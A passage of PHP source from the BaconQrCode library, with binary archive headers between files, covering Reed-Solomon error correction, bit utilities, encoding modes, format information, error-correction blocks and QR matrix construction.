            for ($j = $i; $j >= 0; --$j) {
                if ($syndromes[$i - $j] !== $this->blockSize && $lambda[$j] !== $this->blockSize) {
                    $tmp ^= $this->alphaTo[$this->modNn($syndromes[$i - $j] + $lambda[$j])];
                }
            }

            $omega[$i] = $this->indexOf[$tmp];
        }

        // Compute error values in poly-form. num1 = omega(inv(X(l))), num2 = inv(X(l))**(firstRoot-1) and
        // den = lambda_pr(inv(X(l))) all in poly form.
        for ($j = $count - 1; $j >= 0; --$j) {
            $num1 = 0;

            for ($i = $degOmega; $i >= 0; $i--) {
                if ($omega[$i] !== $this->blockSize) {
                    $num1 ^= $this->alphaTo[$this->modNn($omega[$i] + $i * $root[$j])];
                }
            }

            $num2 = $this->alphaTo[$this->modNn($root[$j] * ($this->firstRoot - 1) + $this->blockSize)];
            $den  = 0;

            // lambda[i+1] for i even is the formal derivativelambda_pr of lambda[i]
            for ($i = min($degLambda, $this->numRoots - 1) & ~1; $i >= 0; $i -= 2) {
                if ($lambda[$i + 1] !== $this->blockSize) {
                    $den ^= $this->alphaTo[$this->modNn($lambda[$i + 1] + $i * $root[$j])];
                }
            }

            // Apply error to data
            if ($num1 !== 0 && $loc[$j] >= $this->padding) {
                $data[$loc[$j] - $this->padding] = $data[$loc[$j] - $this->padding] ^ (
                    $this->alphaTo[
                        $this->modNn(
                            $this->indexOf[$num1] + $this->indexOf[$num2] + $this->blockSize - $this->indexOf[$den]
                        )
                    ]
                );
            }
        }

        if (null !== $erasures) {
            if (count($erasures) < $count) {
                $erasures->setSize($count);
            }

            for ($i = 0; $i < $count; $i++) {
                $erasures[$i] = $loc[$i];
            }
        }

        return $count;
    }

    /**
     * Computes $x % GF_SIZE, where GF_SIZE is 2**GF_BITS - 1, without a slow divide.
     */
    private function modNn(int $x) : int
    {
        while ($x >= $this->blockSize) {
            $x -= $this->blockSize;
            $x = ($x >> $this->symbolSize) + ($x & $this->blockSize);
        }

        return $x;
    }
}
PKh�\׉�ʊ�2vendor/bacon/bacon-qr-code/src/Common/BitUtils.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Common;

/**
 * General bit utilities.
 *
 * All utility methods are based on 32-bit integers and also work on 64-bit
 * systems.
 */
final class BitUtils
{
    private function __construct()
    {
    }

    /**
     * Performs an unsigned right shift.
     *
     * This is the same as the unsigned right shift operator ">>>" in other
     * languages.
     */
    public static function unsignedRightShift(int $a, int $b) : int
    {
        return (
            $a >= 0
            ? $a >> $b
            : (($a & 0x7fffffff) >> $b) | (0x40000000 >> ($b - 1))
        );
    }

    /**
     * Gets the number of trailing zeros.
     */
    public static function numberOfTrailingZeros(int $i) : int
    {
        $lastPos = strrpos(str_pad(decbin($i), 32, '0', STR_PAD_LEFT), '1');
        return $lastPos === false ? 32 : 31 - $lastPos;
    }
}
PKh�\$� L??.vendor/bacon/bacon-qr-code/src/Common/Mode.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Common;

use DASPRiD\Enum\AbstractEnum;

/**
 * Enum representing various modes in which data can be encoded to bits.
 *
 * @method static self TERMINATOR()
 * @method static self NUMERIC()
 * @method static self ALPHANUMERIC()
 * @method static self STRUCTURED_APPEND()
 * @method static self BYTE()
 * @method static self ECI()
 * @method static self KANJI()
 * @method static self FNC1_FIRST_POSITION()
 * @method static self FNC1_SECOND_POSITION()
 * @method static self HANZI()
 */
final class Mode extends AbstractEnum
{
    protected const TERMINATOR = [[0, 0, 0], 0x00];
    protected const NUMERIC = [[10, 12, 14], 0x01];
    protected const ALPHANUMERIC = [[9, 11, 13], 0x02];
    protected const STRUCTURED_APPEND = [[0, 0, 0], 0x03];
    protected const BYTE = [[8, 16, 16], 0x04];
    protected const ECI = [[0, 0, 0], 0x07];
    protected const KANJI = [[8, 10, 12], 0x08];
    protected const FNC1_FIRST_POSITION = [[0, 0, 0], 0x05];
    protected const FNC1_SECOND_POSITION = [[0, 0, 0], 0x09];
    protected const HANZI = [[8, 10, 12], 0x0d];

    /**
     * @var int[]
     */
    private $characterCountBitsForVersions;

    /**
     * @var int
     */
    private $bits;

    /**
     * @param int[] $characterCountBitsForVersions
     */
    protected function __construct(array $characterCountBitsForVersions, int $bits)
    {
        $this->characterCountBitsForVersions = $characterCountBitsForVersions;
        $this->bits = $bits;
    }

    /**
     * Returns the number of bits used in a specific QR code version.
     */
    public function getCharacterCountBits(Version $version) : int
    {
        $number = $version->getVersionNumber();

        if ($number <= 9) {
            $offset = 0;
        } elseif ($number <= 26) {
            $offset = 1;
        } else {
            $offset = 2;
        }

        return $this->characterCountBitsForVersions[$offset];
    }

    /**
     * Returns the four bits used to encode this mode.
     */
    public function getBits() : int
    {
        return $this->bits;
    }
}
PKh�\ζ#բ�;vendor/bacon/bacon-qr-code/src/Common/FormatInformation.phpnu�[���<?php
/**
 * BaconQrCode
 *
 * @link      http://github.com/Bacon/BaconQrCode For the canonical source repository
 * @copyright 2013 Ben 'DASPRiD' Scholzen
 * @license   http://opensource.org/licenses/BSD-2-Clause Simplified BSD License
 */

namespace BaconQrCode\Common;

/**
 * Encapsulates a QR Code's format information, including the data mask used and error correction level.
 */
class FormatInformation
{
    /**
     * Mask for format information.
     */
    private const FORMAT_INFO_MASK_QR = 0x5412;

    /**
     * Lookup table for decoding format information.
     *
     * See ISO 18004:2006, Annex C, Table C.1
     */
    private const FORMAT_INFO_DECODE_LOOKUP = [
        [0x5412, 0x00],
        [0x5125, 0x01],
        [0x5e7c, 0x02],
        [0x5b4b, 0x03],
        [0x45f9, 0x04],
        [0x40ce, 0x05],
        [0x4f97, 0x06],
        [0x4aa0, 0x07],
        [0x77c4, 0x08],
        [0x72f3, 0x09],
        [0x7daa, 0x0a],
        [0x789d, 0x0b],
        [0x662f, 0x0c],
        [0x6318, 0x0d],
        [0x6c41, 0x0e],
        [0x6976, 0x0f],
        [0x1689, 0x10],
        [0x13be, 0x11],
        [0x1ce7, 0x12],
        [0x19d0, 0x13],
        [0x0762, 0x14],
        [0x0255, 0x15],
        [0x0d0c, 0x16],
        [0x083b, 0x17],
        [0x355f, 0x18],
        [0x3068, 0x19],
        [0x3f31, 0x1a],
        [0x3a06, 0x1b],
        [0x24b4, 0x1c],
        [0x2183, 0x1d],
        [0x2eda, 0x1e],
        [0x2bed, 0x1f],
    ];

    /**
     * Offset i holds the number of 1 bits in the binary representation of i.
     *
     * @var int[]
     */
    private const BITS_SET_IN_HALF_BYTE = [0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4];

    /**
     * Error correction level.
     *
     * @var ErrorCorrectionLevel
     */
    private $ecLevel;

    /**
     * Data mask.
     *
     * @var int
     */
    private $dataMask;

    protected function __construct(int $formatInfo)
    {
        $this->ecLevel = ErrorCorrectionLevel::forBits(($formatInfo >> 3) & 0x3);
        $this->dataMask = $formatInfo & 0x7;
    }

    /**
     * Checks how many bits are different between two integers.
     */
    public static function numBitsDiffering(int $a, int $b) : int
    {
        $a ^= $b;

        return (
            self::BITS_SET_IN_HALF_BYTE[$a & 0xf]
            + self::BITS_SET_IN_HALF_BYTE[(BitUtils::unsignedRightShift($a, 4) & 0xf)]
            + self::BITS_SET_IN_HALF_BYTE[(BitUtils::unsignedRightShift($a, 8) & 0xf)]
            + self::BITS_SET_IN_HALF_BYTE[(BitUtils::unsignedRightShift($a, 12) & 0xf)]
            + self::BITS_SET_IN_HALF_BYTE[(BitUtils::unsignedRightShift($a, 16) & 0xf)]
            + self::BITS_SET_IN_HALF_BYTE[(BitUtils::unsignedRightShift($a, 20) & 0xf)]
            + self::BITS_SET_IN_HALF_BYTE[(BitUtils::unsignedRightShift($a, 24) & 0xf)]
            + self::BITS_SET_IN_HALF_BYTE[(BitUtils::unsignedRightShift($a, 28) & 0xf)]
        );
    }

    /**
     * Decodes format information.
     */
    public static function decodeFormatInformation(int $maskedFormatInfo1, int $maskedFormatInfo2) : ?self
    {
        $formatInfo = self::doDecodeFormatInformation($maskedFormatInfo1, $maskedFormatInfo2);

        if (null !== $formatInfo) {
            return $formatInfo;
        }

        // Should return null, but, some QR codes apparently do not mask this info. Try again by actually masking the
        // pattern first.
        return self::doDecodeFormatInformation(
            $maskedFormatInfo1 ^ self::FORMAT_INFO_MASK_QR,
            $maskedFormatInfo2 ^ self::FORMAT_INFO_MASK_QR
        );
    }

    /**
     * Internal method for decoding format information.
     */
    private static function doDecodeFormatInformation(int $maskedFormatInfo1, int $maskedFormatInfo2) : ?self
    {
        $bestDifference = PHP_INT_MAX;
        $bestFormatInfo = 0;

        foreach (self::FORMAT_INFO_DECODE_LOOKUP as $decodeInfo) {
            $targetInfo = $decodeInfo[0];

            if ($targetInfo === $maskedFormatInfo1 || $targetInfo === $maskedFormatInfo2) {
                // Found an exact match
                return new self($decodeInfo[1]);
            }

            $bitsDifference = self::numBitsDiffering($maskedFormatInfo1, $targetInfo);

            if ($bitsDifference < $bestDifference) {
                $bestFormatInfo = $decodeInfo[1];
                $bestDifference = $bitsDifference;
            }

            if ($maskedFormatInfo1 !== $maskedFormatInfo2) {
                // Also try the other option
                $bitsDifference = self::numBitsDiffering($maskedFormatInfo2, $targetInfo);

                if ($bitsDifference < $bestDifference) {
                    $bestFormatInfo = $decodeInfo[1];
                    $bestDifference = $bitsDifference;
                }
            }
        }

        // Hamming distance of the 32 masked codes is 7, by construction, so <= 3 bits differing means we found a match.
        if ($bestDifference <= 3) {
            return new self($bestFormatInfo);
        }

        return null;
    }

    /**
     * Returns the error correction level.
     */
    public function getErrorCorrectionLevel() : ErrorCorrectionLevel
    {
        return $this->ecLevel;
    }

    /**
     * Returns the data mask.
     */
    public function getDataMask() : int
    {
        return $this->dataMask;
    }

    /**
     * Hashes the code of the EC level.
     */
    public function hashCode() : int
    {
        return ($this->ecLevel->getBits() << 3) | $this->dataMask;
    }

    /**
     * Verifies if this instance equals another one.
     */
    public function equals(self $other) : bool
    {
        return (
            $this->ecLevel === $other->ecLevel
            && $this->dataMask === $other->dataMask
        );
    }
}
PKh�\E7����2vendor/bacon/bacon-qr-code/src/Common/EcBlocks.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Common;

/**
 * Encapsulates a set of error-correction blocks in one symbol version.
 *
 * Most versions will use blocks of differing sizes within one version, so, this encapsulates the parameters for each
 * set of blocks. It also holds the number of error-correction codewords per block since it will be the same across all
 * blocks within one version.
 */
final class EcBlocks
{
    /**
     * Number of EC codewords per block.
     *
     * @var int
     */
    private $ecCodewordsPerBlock;

    /**
     * List of EC blocks.
     *
     * @var EcBlock[]
     */
    private $ecBlocks;

    public function __construct(int $ecCodewordsPerBlock, EcBlock ...$ecBlocks)
    {
        $this->ecCodewordsPerBlock = $ecCodewordsPerBlock;
        $this->ecBlocks = $ecBlocks;
    }

    /**
     * Returns the number of EC codewords per block.
     */
    public function getEcCodewordsPerBlock() : int
    {
        return $this->ecCodewordsPerBlock;
    }

    /**
     * Returns the total number of EC block appearances.
     */
    public function getNumBlocks() : int
    {
        $total = 0;

        foreach ($this->ecBlocks as $ecBlock) {
            $total += $ecBlock->getCount();
        }

        return $total;
    }

    /**
     * Returns the total count of EC codewords.
     */
    public function getTotalEcCodewords() : int
    {
        return $this->ecCodewordsPerBlock * $this->getNumBlocks();
    }

    /**
     * Returns the EC blocks included in this collection.
     *
     * @return EcBlock[]
     */
    public function getEcBlocks() : array
    {
        return $this->ecBlocks;
    }
}
PKh�\�礹�"�"2vendor/bacon/bacon-qr-code/src/Common/BitArray.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Common;

use BaconQrCode\Exception\InvalidArgumentException;
use SplFixedArray;

/**
 * A simple, fast array of bits.
 */
final class BitArray
{
    /**
     * Bits represented as an array of integers.
     *
     * @var SplFixedArray<int>
     */
    private $bits;

    /**
     * Size of the bit array in bits.
     *
     * @var int
     */
    private $size;

    /**
     * Creates a new bit array with a given size.
     */
    public function __construct(int $size = 0)
    {
        $this->size = $size;
        $this->bits = SplFixedArray::fromArray(array_fill(0, ($this->size + 31) >> 3, 0));
    }

    /**
     * Gets the size in bits.
     */
    public function getSize() : int
    {
        return $this->size;
    }

    /**
     * Gets the size in bytes.
     */
    public function getSizeInBytes() : int
    {
        return ($this->size + 7) >> 3;
    }

    /**
     * Ensures that the array has a minimum capacity.
     */
    public function ensureCapacity(int $size) : void
    {
        if ($size > count($this->bits) << 5) {
            $this->bits->setSize(($size + 31) >> 5);
        }
    }

    /**
     * Gets a specific bit.
     */
    public function get(int $i) : bool
    {
        return 0 !== ($this->bits[$i >> 5] & (1 << ($i & 0x1f)));
    }

    /**
     * Sets a specific bit.
     */
    public function set(int $i) : void
    {
        $this->bits[$i >> 5] = $this->bits[$i >> 5] | 1 << ($i & 0x1f);
    }

    /**
     * Flips a specific bit.
     */
    public function flip(int $i) : void
    {
        $this->bits[$i >> 5] ^= 1 << ($i & 0x1f);
    }

    /**
     * Gets the next set bit position from a given position.
     */
    public function getNextSet(int $from) : int
    {
        if ($from >= $this->size) {
            return $this->size;
        }

        $bitsOffset = $from >> 5;
        $currentBits = $this->bits[$bitsOffset];
        $bitsLength = count($this->bits);
        $currentBits &= ~((1 << ($from & 0x1f)) - 1);

        while (0 === $currentBits) {
            if (++$bitsOffset === $bitsLength) {
                return $this->size;
            }

            $currentBits = $this->bits[$bitsOffset];
        }

        $result = ($bitsOffset << 5) + BitUtils::numberOfTrailingZeros($currentBits);
        return $result > $this->size ? $this->size : $result;
    }

    /**
     * Gets the next unset bit position from a given position.
     */
    public function getNextUnset(int $from) : int
    {
        if ($from >= $this->size) {
            return $this->size;
        }

        $bitsOffset = $from >> 5;
        $currentBits = ~$this->bits[$bitsOffset];
        $bitsLength = count($this->bits);
        $currentBits &= ~((1 << ($from & 0x1f)) - 1);

        while (0 === $currentBits) {
            if (++$bitsOffset === $bitsLength) {
                return $this->size;
            }

            $currentBits = ~$this->bits[$bitsOffset];
        }

        $result = ($bitsOffset << 5) + BitUtils::numberOfTrailingZeros($currentBits);
        return $result > $this->size ? $this->size : $result;
    }

    /**
     * Sets a bulk of bits.
     */
    public function setBulk(int $i, int $newBits) : void
    {
        $this->bits[$i >> 5] = $newBits;
    }

    /**
     * Sets a range of bits.
     *
     * @throws InvalidArgumentException if end is smaller than start
     */
    public function setRange(int $start, int $end) : void
    {
        if ($end < $start) {
            throw new InvalidArgumentException('End must be greater or equal to start');
        }

        if ($end === $start) {
            return;
        }

        --$end;

        $firstInt = $start >> 5;
        $lastInt = $end >> 5;

        for ($i = $firstInt; $i <= $lastInt; ++$i) {
            $firstBit = $i > $firstInt ? 0 : $start & 0x1f;
            $lastBit = $i < $lastInt ? 31 : $end & 0x1f;

            if (0 === $firstBit && 31 === $lastBit) {
                $mask = 0x7fffffff;
            } else {
                $mask = 0;

                for ($j = $firstBit; $j < $lastBit; ++$j) {
                    $mask |= 1 << $j;
                }
            }

            $this->bits[$i] = $this->bits[$i] | $mask;
        }
    }

    /**
     * Clears the bit array, unsetting every bit.
     */
    public function clear() : void
    {
        $bitsLength = count($this->bits);

        for ($i = 0; $i < $bitsLength; ++$i) {
            $this->bits[$i] = 0;
        }
    }

    /**
     * Checks if a range of bits is set or not set.

     * @throws InvalidArgumentException if end is smaller than start
     */
    public function isRange(int $start, int $end, bool $value) : bool
    {
        if ($end < $start) {
            throw new InvalidArgumentException('End must be greater or equal to start');
        }

        if ($end === $start) {
            return true;
        }

        --$end;

        $firstInt = $start >> 5;
        $lastInt = $end >> 5;

        for ($i = $firstInt; $i <= $lastInt; ++$i) {
            $firstBit = $i > $firstInt ? 0 : $start & 0x1f;
            $lastBit = $i < $lastInt ? 31 : $end & 0x1f;

            if (0 === $firstBit && 31 === $lastBit) {
                $mask = 0x7fffffff;
            } else {
                $mask = 0;

                for ($j = $firstBit; $j <= $lastBit; ++$j) {
                    $mask |= 1 << $j;
                }
            }

            if (($this->bits[$i] & $mask) !== ($value ? $mask : 0)) {
                return false;
            }
        }

        return true;
    }

    /**
     * Appends a bit to the array.
     */
    public function appendBit(bool $bit) : void
    {
        $this->ensureCapacity($this->size + 1);

        if ($bit) {
            $this->bits[$this->size >> 5] = $this->bits[$this->size >> 5] | (1 << ($this->size & 0x1f));
        }

        ++$this->size;
    }

    /**
     * Appends a number of bits (up to 32) to the array.

     * @throws InvalidArgumentException if num bits is not between 0 and 32
     */
    public function appendBits(int $value, int $numBits) : void
    {
        if ($numBits < 0 || $numBits > 32) {
            throw new InvalidArgumentException('Num bits must be between 0 and 32');
        }

        $this->ensureCapacity($this->size + $numBits);

        for ($numBitsLeft = $numBits; $numBitsLeft > 0; $numBitsLeft--) {
            $this->appendBit((($value >> ($numBitsLeft - 1)) & 0x01) === 1);
        }
    }

    /**
     * Appends another bit array to this array.
     */
    public function appendBitArray(self $other) : void
    {
        $otherSize = $other->getSize();
        $this->ensureCapacity($this->size + $other->getSize());

        for ($i = 0; $i < $otherSize; ++$i) {
            $this->appendBit($other->get($i));
        }
    }

    /**
     * Makes an exclusive-or comparision on the current bit array.
     *
     * @throws InvalidArgumentException if sizes don't match
     */
    public function xorBits(self $other) : void
    {
        $bitsLength = count($this->bits);
        $otherBits  = $other->getBitArray();

        if ($bitsLength !== count($otherBits)) {
            throw new InvalidArgumentException('Sizes don\'t match');
        }

        for ($i = 0; $i < $bitsLength; ++$i) {
            $this->bits[$i] = $this->bits[$i] ^ $otherBits[$i];
        }
    }

    /**
     * Converts the bit array to a byte array.
     *
     * @return SplFixedArray<int>
     */
    public function toBytes(int $bitOffset, int $numBytes) : SplFixedArray
    {
        $bytes = new SplFixedArray($numBytes);

        for ($i = 0; $i < $numBytes; ++$i) {
            $byte = 0;

            for ($j = 0; $j < 8; ++$j) {
                if ($this->get($bitOffset)) {
                    $byte |= 1 << (7 - $j);
                }

                ++$bitOffset;
            }

            $bytes[$i] = $byte;
        }

        return $bytes;
    }

    /**
     * Gets the internal bit array.
     *
     * @return SplFixedArray<int>
     */
    public function getBitArray() : SplFixedArray
    {
        return $this->bits;
    }

    /**
     * Reverses the array.
     */
    public function reverse() : void
    {
        $newBits = new SplFixedArray(count($this->bits));

        for ($i = 0; $i < $this->size; ++$i) {
            if ($this->get($this->size - $i - 1)) {
                $newBits[$i >> 5] = $newBits[$i >> 5] | (1 << ($i & 0x1f));
            }
        }

        $this->bits = $newBits;
    }

    /**
     * Returns a string representation of the bit array.
     */
    public function __toString() : string
    {
        $result = '';

        for ($i = 0; $i < $this->size; ++$i) {
            if (0 === ($i & 0x07)) {
                $result .= ' ';
            }

            $result .= $this->get($i) ? 'X' : '.';
        }

        return $result;
    }
}
PKh�\20�`��1vendor/bacon/bacon-qr-code/src/Common/EcBlock.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Common;

/**
 * Encapsulates the parameters for one error-correction block in one symbol version.
 *
 * This includes the number of data codewords, and the number of times a block with these parameters is used
 * consecutively in the QR code version's format.
 */
final class EcBlock
{
    /**
     * How many times the block is used.
     *
     * @var int
     */
    private $count;

    /**
     * Number of data codewords.
     *
     * @var int
     */
    private $dataCodewords;

    public function __construct(int $count, int $dataCodewords)
    {
        $this->count = $count;
        $this->dataCodewords = $dataCodewords;
    }

    /**
     * Returns how many times the block is used.
     */
    public function getCount() : int
    {
        return $this->count;
    }

    /**
     * Returns the number of data codewords.
     */
    public function getDataCodewords() : int
    {
        return $this->dataCodewords;
    }
}
PKh�\=@�3�A�A5vendor/bacon/bacon-qr-code/src/Encoder/MatrixUtil.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Encoder;

use BaconQrCode\Common\BitArray;
use BaconQrCode\Common\ErrorCorrectionLevel;
use BaconQrCode\Common\Version;
use BaconQrCode\Exception\RuntimeException;
use BaconQrCode\Exception\WriterException;

/**
 * Matrix utility.
 */
final class MatrixUtil
{
    /**
     * Position detection pattern.
     */
    private const POSITION_DETECTION_PATTERN = [
        [1, 1, 1, 1, 1, 1, 1],
        [1, 0, 0, 0, 0, 0, 1],
        [1, 0, 1, 1, 1, 0, 1],
        [1, 0, 1, 1, 1, 0, 1],
        [1, 0, 1, 1, 1, 0, 1],
        [1, 0, 0, 0, 0, 0, 1],
        [1, 1, 1, 1, 1, 1, 1],
    ];

    /**
     * Position adjustment pattern.
     */
    private const POSITION_ADJUSTMENT_PATTERN = [
        [1, 1, 1, 1, 1],
        [1, 0, 0, 0, 1],
        [1, 0, 1, 0, 1],
        [1, 0, 0, 0, 1],
        [1, 1, 1, 1, 1],
    ];

    /**
     * Coordinates for position adjustment patterns for each version.
     */
    private const POSITION_ADJUSTMENT_PATTERN_COORDINATE_TABLE = [
        [null, null, null, null, null, null, null], // Version 1
        [   6,   18, null, null, null, null, null], // Version 2
        [   6,   22, null, null, null, null, null], // Version 3
        [   6,   26, null, null, null, null, null], // Version 4
        [   6,   30, null, null, null, null, null], // Version 5
        [   6,   34, null, null, null, null, null], // Version 6
        [   6,   22,   38, null, null, null, null], // Version 7
        [   6,   24,   42, null, null, null, null], // Version 8
        [   6,   26,   46, null, null, null, null], // Version 9
        [   6,   28,   50, null, null, null, null], // Version 10
        [   6,   30,   54, null, null, null, null], // Version 11
        [   6,   32,   58, null, null, null, null], // Version 12
        [   6,   34,   62, null, null, null, null], // Version 13
        [   6,   26,   46,   66, null, null, null], // Version 14
        [   6,   26,   48,   70, null, null, null], // Version 15
        [   6,   26,   50,   74, null, null, null], // Version 16
        [   6,   30,   54,   78, null, null, null], // Version 17
        [   6,   30,   56,   82, null, null, null], // Version 18
        [   6,   30,   58,   86, null, null, null], // Version 19
        [   6,   34,   62,   90, null, null, null], // Version 20
        [   6,   28,   50,   72,   94, null, null], // Version 21
        [   6,   26,   50,   74,   98, null, null], // Version 22
        [   6,   30,   54,   78,  102, null, null], // Version 23
        [   6,   28,   54,   80,  106, null, null], // Version 24
        [   6,   32,   58,   84,  110, null, null], // Version 25
        [   6,   30,   58,   86,  114, null, null], // Version 26
        [   6,   34,   62,   90,  118, null, null], // Version 27
        [   6,   26,   50,   74,   98,  122, null], // Version 28
        [   6,   30,   54,   78,  102,  126, null], // Version 29
        [   6,   26,   52,   78,  104,  130, null], // Version 30
        [   6,   30,   56,   82,  108,  134, null], // Version 31
        [   6,   34,   60,   86,  112,  138, null], // Version 32
        [   6,   30,   58,   86,  114,  142, null], // Version 33
        [   6,   34,   62,   90,  118,  146, null], // Version 34
        [   6,   30,   54,   78,  102,  126,  150], // Version 35
        [   6,   24,   50,   76,  102,  128,  154], // Version 36
        [   6,   28,   54,   80,  106,  132,  158], // Version 37
        [   6,   32,   58,   84,  110,  136,  162], // Version 38
        [   6,   26,   54,   82,  110,  138,  166], // Version 39
        [   6,   30,   58,   86,  114,  142,  170], // Version 40
    ];

    /**
     * Type information coordinates.
     */
    private const TYPE_INFO_COORDINATES = [
        [8, 0],
        [8, 1],
        [8, 2],
        [8, 3],
        [8, 4],
        [8, 5],
        [8, 7],
        [8, 8],
        [7, 8],
        [5, 8],
        [4, 8],
        [3, 8],
        [2, 8],
        [1, 8],
        [0, 8],
    ];

    /**
     * Version information polynomial.
     */
    private const VERSION_INFO_POLY = 0x1f25;

    /**
     * Type information polynomial.
     */
    private const TYPE_INFO_POLY = 0x537;

    /**
     * Type information mask pattern.
     */
    private const TYPE_INFO_MASK_PATTERN = 0x5412;

    /**
     * Clears a given matrix.
     */
    public static function clearMatrix(ByteMatrix $matrix) : void
    {
        $matrix->clear(-1);
    }

    /**
     * Builds a complete matrix.
     */
    public static function buildMatrix(
        BitArray $dataBits,
        ErrorCorrectionLevel $level,
        Version $version,
        int $maskPattern,
        ByteMatrix $matrix
    ) : void {
        self::clearMatrix($matrix);
        self::embedBasicPatterns($version, $matrix);
        self::embedTypeInfo($level, $maskPattern, $matrix);
        self::maybeEmbedVersionInfo($version, $matrix);
        self::embedDataBits($dataBits, $maskPattern, $matrix);
    }

    /**
     * Removes the position detection patterns from a matrix.
     *
     * This can be useful if you need to render those patterns separately.
     */
    public static function removePositionDetectionPatterns(ByteMatrix $matrix) : void
    {
        $pdpWidth = count(self::POSITION_DETECTION_PATTERN[0]);

        self::removePositionDetectionPattern(0, 0, $matrix);
        self::removePositionDetectionPattern($matrix->getWidth() - $pdpWidth, 0, $matrix);
        self::removePositionDetectionPattern(0, $matrix->getWidth() - $pdpWidth, $matrix);
    }

    /**
     * Embeds type information into a matrix.
     */
    private static function embedTypeInfo(ErrorCorrectionLevel $level, int $maskPattern, ByteMatrix $matrix) : void
    {
        $typeInfoBits = new BitArray();
        self::makeTypeInfoBits($level, $maskPattern, $typeInfoBits);

        $typeInfoBitsSize = $typeInfoBits->getSize();

        for ($i = 0; $i < $typeInfoBitsSize; ++$i) {
            $bit = $typeInfoBits->get($typeInfoBitsSize - 1 - $i);

            $x1 = self::TYPE_INFO_COORDINATES[$i][0];
            $y1 = self::TYPE_INFO_COORDINATES[$i][1];

            $matrix->set($x1, $y1, (int) $bit);

            if ($i < 8) {
                $x2 = $matrix->getWidth() - $i - 1;
                $y2 = 8;
            } else {
                $x2 = 8;
                $y2 = $matrix->getHeight() - 7 + ($i - 8);
            }

            $matrix->set($x2, $y2, (int) $bit);
        }
    }

    /**
     * Generates type information bits and appends them to a bit array.
     *
     * @throws RuntimeException if bit array resulted in invalid size
     */
    private static function makeTypeInfoBits(ErrorCorrectionLevel $level, int $maskPattern, BitArray $bits) : void
    {
        $typeInfo = ($level->getBits() << 3) | $maskPattern;
        $bits->appendBits($typeInfo, 5);

        $bchCode = self::calculateBchCode($typeInfo, self::TYPE_INFO_POLY);
        $bits->appendBits($bchCode, 10);

        $maskBits = new BitArray();
        $maskBits->appendBits(self::TYPE_INFO_MASK_PATTERN, 15);
        $bits->xorBits($maskBits);

        if (15 !== $bits->getSize()) {
            throw new RuntimeException('Bit array resulted in invalid size: ' . $bits->getSize());
        }
    }

    /**
     * Embeds version information if required.
     */
    private static function maybeEmbedVersionInfo(Version $version, ByteMatrix $matrix) : void
    {
        if ($version->getVersionNumber() < 7) {
            return;
        }

        $versionInfoBits = new BitArray();
        self::makeVersionInfoBits($version, $versionInfoBits);

        $bitIndex = 6 * 3 - 1;

        for ($i = 0; $i < 6; ++$i) {
            for ($j = 0; $j < 3; ++$j) {
                $bit = $versionInfoBits->get($bitIndex);
                --$bitIndex;

                $matrix->set($i, $matrix->getHeight() - 11 + $j, (int) $bit);
                $matrix->set($matrix->getHeight() - 11 + $j, $i, (int) $bit);
            }
        }
    }

    /**
     * Generates version information bits and appends them to a bit array.
     *
     * @throws RuntimeException if bit array resulted in invalid size
     */
    private static function makeVersionInfoBits(Version $version, BitArray $bits) : void
    {
        $bits->appendBits($version->getVersionNumber(), 6);

        $bchCode = self::calculateBchCode($version->getVersionNumber(), self::VERSION_INFO_POLY);
        $bits->appendBits($bchCode, 12);

        if (18 !== $bits->getSize()) {
            throw new RuntimeException('Bit array resulted in invalid size: ' . $bits->getSize());
        }
    }

    /**
     * Calculates the BCH code for a value and a polynomial.
     */
    private static function calculateBchCode(int $value, int $poly) : int
    {
        $msbSetInPoly = self::findMsbSet($poly);
        $value <<= $msbSetInPoly - 1;

        while (self::findMsbSet($value) >= $msbSetInPoly) {
            $value ^= $poly << (self::findMsbSet($value) - $msbSetInPoly);
        }

        return $value;
    }

    /**
     * Finds and MSB set.
     */
    private static function findMsbSet(int $value) : int
    {
        $numDigits = 0;

        while (0 !== $value) {
            $value >>= 1;
            ++$numDigits;
        }

        return $numDigits;
    }

    /**
     * Embeds basic patterns into a matrix.
     */
    private static function embedBasicPatterns(Version $version, ByteMatrix $matrix) : void
    {
        self::embedPositionDetectionPatternsAndSeparators($matrix);
        self::embedDarkDotAtLeftBottomCorner($matrix);
        self::maybeEmbedPositionAdjustmentPatterns($version, $matrix);
        self::embedTimingPatterns($matrix);
    }

    /**
     * Embeds position detection patterns and separators into a byte matrix.
     */
    private static function embedPositionDetectionPatternsAndSeparators(ByteMatrix $matrix) : void
    {
        $pdpWidth = count(self::POSITION_DETECTION_PATTERN[0]);

        self::embedPositionDetectionPattern(0, 0, $matrix);
        self::embedPositionDetectionPattern($matrix->getWidth() - $pdpWidth, 0, $matrix);
        self::embedPositionDetectionPattern(0, $matrix->getWidth() - $pdpWidth, $matrix);

        $hspWidth = 8;

        self::embedHorizontalSeparationPattern(0, $hspWidth - 1, $matrix);
        self::embedHorizontalSeparationPattern($matrix->getWidth() - $hspWidth, $hspWidth - 1, $matrix);
        self::embedHorizontalSeparationPattern(0, $matrix->getWidth() - $hspWidth, $matrix);

        $vspSize = 7;

        self::embedVerticalSeparationPattern($vspSize, 0, $matrix);
        self::embedVerticalSeparationPattern($matrix->getHeight() - $vspSize - 1, 0, $matrix);
        self::embedVerticalSeparationPattern($vspSize, $matrix->getHeight() - $vspSize, $matrix);
    }

    /**
     * Embeds a single position detection pattern into a byte matrix.
     */
    private static function embedPositionDetectionPattern(int $xStart, int $yStart, ByteMatrix $matrix) : void
    {
        for ($y = 0; $y < 7; ++$y) {
            for ($x = 0; $x < 7; ++$x) {
                $matrix->set($xStart + $x, $yStart + $y, self::POSITION_DETECTION_PATTERN[$y][$x]);
            }
        }
    }

    private static function removePositionDetectionPattern(int $xStart, int $yStart, ByteMatrix $matrix) : void
    {
        for ($y = 0; $y < 7; ++$y) {
            for ($x = 0; $x < 7; ++$x) {
                $matrix->set($xStart + $x, $yStart + $y, 0);
            }
        }
    }

    /**
     * Embeds a single horizontal separation pattern.
     *
     * @throws RuntimeException if a byte was already set
     */
    private static function embedHorizontalSeparationPattern(int $xStart, int $yStart, ByteMatrix $matrix) : void
    {
        for ($x = 0; $x < 8; $x++) {
            if (-1 !== $matrix->get($xStart + $x, $yStart)) {
                throw new RuntimeException('Byte already set');
            }

            $matrix->set($xStart + $x, $yStart, 0);
